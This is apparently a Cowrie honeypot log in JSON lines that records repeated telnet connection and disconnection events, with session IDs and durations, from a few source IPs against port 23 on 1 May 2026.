{"eventid":"cowrie.session.closed","duration":31.236945390701294,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:20.457543Z","src_ip":"104.167.8.156","session":"11d6216d8b8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.746146202087402,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:20.640646Z","src_ip":"104.167.8.156","session":"a07446640936","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27184772491455,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:20.770834Z","src_ip":"104.167.8.156","session":"ff7e52ffb015","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.704245805740356,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:20.920934Z","src_ip":"104.167.8.156","session":"53883014abdc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":39738,"dst_ip":"10.17.0.5","dst_port":23,"session":"c474951111b6","protocol":"telnet","message":"New connection: 104.167.8.156:39738 (10.17.0.5:23) [session: c474951111b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:21.020128Z"}
{"eventid":"cowrie.session.closed","duration":30.7194926738739,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:21.170774Z","src_ip":"104.167.8.156","session":"2e94f03d1c87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":40356,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7be49571286","protocol":"telnet","message":"New connection: 104.167.8.156:40356 (10.17.0.5:23) [session: f7be49571286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:21.175659Z"}
{"eventid":"cowrie.session.closed","duration":30.589152574539185,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:21.319788Z","src_ip":"104.167.8.156","session":"d1492bf9669f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":42388,"dst_ip":"10.17.0.5","dst_port":23,"session":"07bfcfe67463","protocol":"telnet","message":"New connection: 104.167.8.156:42388 (10.17.0.5:23) [session: 07bfcfe67463]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:21.647167Z"}
{"eventid":"cowrie.session.closed","duration":5.335744380950928,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:21.656590Z","src_ip":"188.208.141.113","session":"405500d403a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00116896629333,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:22.487898Z","src_ip":"98.70.41.28","session":"95173118a3aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":46324,"dst_ip":"10.17.0.5","dst_port":23,"session":"210c648c6a23","protocol":"telnet","message":"New connection: 104.167.8.156:46324 (10.17.0.5:23) [session: 210c648c6a23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:22.619045Z"}
{"eventid":"cowrie.session.closed","duration":30.79119896888733,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:22.673761Z","src_ip":"98.70.41.28","session":"29c655fda507","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00134587287903,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:22.737849Z","src_ip":"98.70.41.28","session":"727677333e38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.493379831314087,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:23.034148Z","src_ip":"104.167.8.156","session":"873fa284dd90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":33518,"dst_ip":"159.203.135.109","dst_port":23,"session":"4855b1bee930","protocol":"telnet","message":"New connection: 98.70.41.28:33518 (159.203.135.109:23) [session: 4855b1bee930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:23.099537Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":48440,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d14c9ab4cc8","protocol":"telnet","message":"New connection: 104.167.8.156:48440 (10.17.0.5:23) [session: 9d14c9ab4cc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:23.159745Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":49218,"dst_ip":"10.17.0.5","dst_port":23,"session":"e474e72da888","protocol":"telnet","message":"New connection: 104.167.8.156:49218 (10.17.0.5:23) [session: e474e72da888]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:23.327282Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":46506,"dst_ip":"10.17.0.5","dst_port":23,"session":"65ab6d058a96","protocol":"telnet","message":"New connection: 104.167.8.156:46506 (10.17.0.5:23) [session: 65ab6d058a96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:23.662617Z"}
{"eventid":"cowrie.session.closed","duration":30.94283127784729,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:24.029306Z","src_ip":"104.167.8.156","session":"7ce830d87b4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.3588650226593,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:24.039666Z","src_ip":"104.167.8.156","session":"6bf49cc15692","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.366028785705566,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:24.262353Z","src_ip":"104.167.8.156","session":"7b9214ef688d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.264207124710083,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:24.354569Z","src_ip":"104.167.8.156","session":"fad8f750c442","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":49932,"dst_ip":"10.17.0.5","dst_port":23,"session":"24791e4b9c50","protocol":"telnet","message":"New connection: 104.167.8.156:49932 (10.17.0.5:23) [session: 24791e4b9c50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:24.484719Z"}
{"eventid":"cowrie.session.closed","duration":44.49090790748596,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:24.608413Z","src_ip":"188.208.141.113","session":"b2f6cf60b54c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.126821756362915,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:24.845542Z","src_ip":"104.167.8.156","session":"a2fe51689742","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.084747314453125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:25.024455Z","src_ip":"104.167.8.156","session":"6848634cb5ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":52350,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e6d398340c0","protocol":"telnet","message":"New connection: 104.167.8.156:52350 (10.17.0.5:23) [session: 8e6d398340c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:25.165018Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":52454,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1c613b924be","protocol":"telnet","message":"New connection: 104.167.8.156:52454 (10.17.0.5:23) [session: c1c613b924be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:25.196974Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":53528,"dst_ip":"10.17.0.5","dst_port":23,"session":"211f0659c9b5","protocol":"telnet","message":"New connection: 104.167.8.156:53528 (10.17.0.5:23) [session: 211f0659c9b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:25.432521Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":49994,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2f193964441","protocol":"telnet","message":"New connection: 64.227.9.242:49994 (159.203.135.109:23) [session: f2f193964441]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:25.808777Z"}
{"eventid":"cowrie.session.closed","duration":30.457578897476196,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:26.093393Z","src_ip":"104.167.8.156","session":"85e6f6ea5b2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.197306632995605,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:26.137025Z","src_ip":"104.167.8.156","session":"c88a37df0da3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.31681728363037,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:26.166126Z","src_ip":"104.167.8.156","session":"0439b0b18482","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.887235641479492,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:26.604765Z","src_ip":"104.167.8.156","session":"5b119fedff3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.28021478652954,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:26.734742Z","src_ip":"98.70.41.28","session":"34d40a6499aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.397754192352295,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:26.843693Z","src_ip":"104.167.8.156","session":"784070b9afa1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":34634,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b6e51f01cf0","protocol":"telnet","message":"New connection: 104.167.8.156:34634 (10.17.0.5:23) [session: 5b6e51f01cf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:26.902159Z"}
{"eventid":"cowrie.session.closed","duration":30.95180034637451,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:27.035985Z","src_ip":"104.167.8.156","session":"9c51f5b4422f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.430113792419434,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:27.071954Z","src_ip":"104.167.8.156","session":"9e19ca674ab3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":46822,"dst_ip":"159.203.135.109","dst_port":23,"session":"aba54b0a3036","protocol":"telnet","message":"New connection: 98.70.41.28:46822 (159.203.135.109:23) [session: aba54b0a3036]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:27.288241Z"}
{"eventid":"cowrie.session.closed","duration":30.65129852294922,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:27.305209Z","src_ip":"104.167.8.156","session":"7b0d32178d29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":36592,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d9503ddc846","protocol":"telnet","message":"New connection: 104.167.8.156:36592 (10.17.0.5:23) [session: 3d9503ddc846]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:27.397547Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":36756,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b669440fbeb","protocol":"telnet","message":"New connection: 104.167.8.156:36756 (10.17.0.5:23) [session: 3b669440fbeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:27.439816Z"}
{"eventid":"cowrie.session.closed","duration":31.18102216720581,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:27.689277Z","src_ip":"104.167.8.156","session":"552c5bd15a9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.40174150466919,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:27.943266Z","src_ip":"104.167.8.156","session":"4e019b973928","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.098918914794922,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:27.973431Z","src_ip":"104.167.8.156","session":"3af081b5328d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.417588233947754,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:28.003481Z","src_ip":"104.167.8.156","session":"ba19229c33eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.70366883277893,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:28.046155Z","src_ip":"104.167.8.156","session":"cebf88e27800","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.893439769744873,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:28.071738Z","src_ip":"104.167.8.156","session":"829452cf1252","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19218611717224,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:28.280930Z","src_ip":"104.167.8.156","session":"9f66a594b569","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.699084997177124,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:28.343060Z","src_ip":"104.167.8.156","session":"3b9642770bab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.780839681625366,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:28.358933Z","src_ip":"104.167.8.156","session":"8a4fc44e3604","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17733407020569,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:28.562179Z","src_ip":"104.167.8.156","session":"5272967cf7de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":46838,"dst_ip":"159.203.135.109","dst_port":23,"session":"ceddfabcee9c","protocol":"telnet","message":"New connection: 98.70.41.28:46838 (159.203.135.109:23) [session: ceddfabcee9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:29.433840Z"}
{"eventid":"cowrie.session.closed","duration":30.804473400115967,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:29.495534Z","src_ip":"104.167.8.156","session":"dfd850ede1a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.41764259338379,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:29.729168Z","src_ip":"104.167.8.156","session":"156c34df868a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.412975549697876,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:29.733709Z","src_ip":"104.167.8.156","session":"74b17a36dfb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.72457981109619,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:30.138081Z","src_ip":"64.227.9.242","session":"655b0891476a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":36266,"dst_ip":"10.17.0.5","dst_port":23,"session":"fafff76434b8","protocol":"telnet","message":"New connection: 104.167.8.156:36266 (10.17.0.5:23) [session: fafff76434b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:30.333049Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":43950,"dst_ip":"10.17.0.5","dst_port":23,"session":"125349281bf7","protocol":"telnet","message":"New connection: 104.167.8.156:43950 (10.17.0.5:23) [session: 125349281bf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:30.357129Z"}
{"eventid":"cowrie.session.closed","duration":31.56649112701416,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:30.677554Z","src_ip":"104.167.8.156","session":"1502e31d4ba8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":49332,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc4ce8840fe7","protocol":"telnet","message":"New connection: 104.167.8.156:49332 (10.17.0.5:23) [session: fc4ce8840fe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:30.800539Z"}
{"eventid":"cowrie.session.closed","duration":31.71941566467285,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:30.993639Z","src_ip":"104.167.8.156","session":"8b2b1e927924","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":51576,"dst_ip":"10.17.0.5","dst_port":23,"session":"4db1f3405475","protocol":"telnet","message":"New connection: 104.167.8.156:51576 (10.17.0.5:23) [session: 4db1f3405475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:31.352467Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":52298,"dst_ip":"10.17.0.5","dst_port":23,"session":"80a774e99192","protocol":"telnet","message":"New connection: 104.167.8.156:52298 (10.17.0.5:23) [session: 80a774e99192]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:31.519771Z"}
{"eventid":"cowrie.session.closed","duration":30.70330500602722,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:32.089347Z","src_ip":"104.167.8.156","session":"e350b5faff6f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":55414,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea4d7daa4457","protocol":"telnet","message":"New connection: 104.167.8.156:55414 (10.17.0.5:23) [session: ea4d7daa4457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:32.311356Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":55622,"dst_ip":"10.17.0.5","dst_port":23,"session":"9902f18270e9","protocol":"telnet","message":"New connection: 104.167.8.156:55622 (10.17.0.5:23) [session: 9902f18270e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:32.351574Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":56306,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f73233c43c2","protocol":"telnet","message":"New connection: 104.167.8.156:56306 (10.17.0.5:23) [session: 0f73233c43c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:32.525881Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43258,"dst_ip":"10.17.0.5","dst_port":23,"session":"62aaa16ba10c","protocol":"telnet","message":"New connection: 188.208.141.113:43258 (10.17.0.5:23) [session: 62aaa16ba10c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:32.747601Z"}
{"eventid":"cowrie.session.closed","duration":31.869426012039185,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:32.898972Z","src_ip":"104.167.8.156","session":"1adfc82280e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43266,"dst_ip":"10.17.0.5","dst_port":23,"session":"99235e5da238","protocol":"telnet","message":"New connection: 188.208.141.113:43266 (10.17.0.5:23) [session: 99235e5da238]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:32.917467Z"}
{"eventid":"cowrie.session.closed","duration":31.268615007400513,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:33.267579Z","src_ip":"104.167.8.156","session":"b7fa39aa4183","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.416785717010498,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:33.716077Z","src_ip":"104.167.8.156","session":"99f20acad0b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.749836206436157,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:34.068319Z","src_ip":"104.167.8.156","session":"7137eae92598","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.06271767616272,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:34.191576Z","src_ip":"188.208.141.113","session":"5edad78307c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35844,"dst_ip":"10.17.0.5","dst_port":23,"session":"876867814766","protocol":"telnet","message":"New connection: 104.167.8.156:35844 (10.17.0.5:23) [session: 876867814766]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:34.672056Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43282,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b61fbabc256","protocol":"telnet","message":"New connection: 188.208.141.113:43282 (10.17.0.5:23) [session: 8b61fbabc256]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:34.810959Z"}
{"eventid":"cowrie.session.closed","duration":31.405362844467163,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:34.884081Z","src_ip":"98.70.41.28","session":"8d650cf6b332","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.095398902893066,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:35.299686Z","src_ip":"104.167.8.156","session":"6c51ea5b1da1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.48002862930298,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:35.486237Z","src_ip":"188.208.141.113","session":"c909441d9755","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.134210109710693,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:35.717570Z","src_ip":"104.167.8.156","session":"e6d8666142a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09133505821228,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:35.733299Z","src_ip":"104.167.8.156","session":"acf823242558","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":40442,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d9700e69f06","protocol":"telnet","message":"New connection: 104.167.8.156:40442 (10.17.0.5:23) [session: 8d9700e69f06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:43:35.872585Z"}
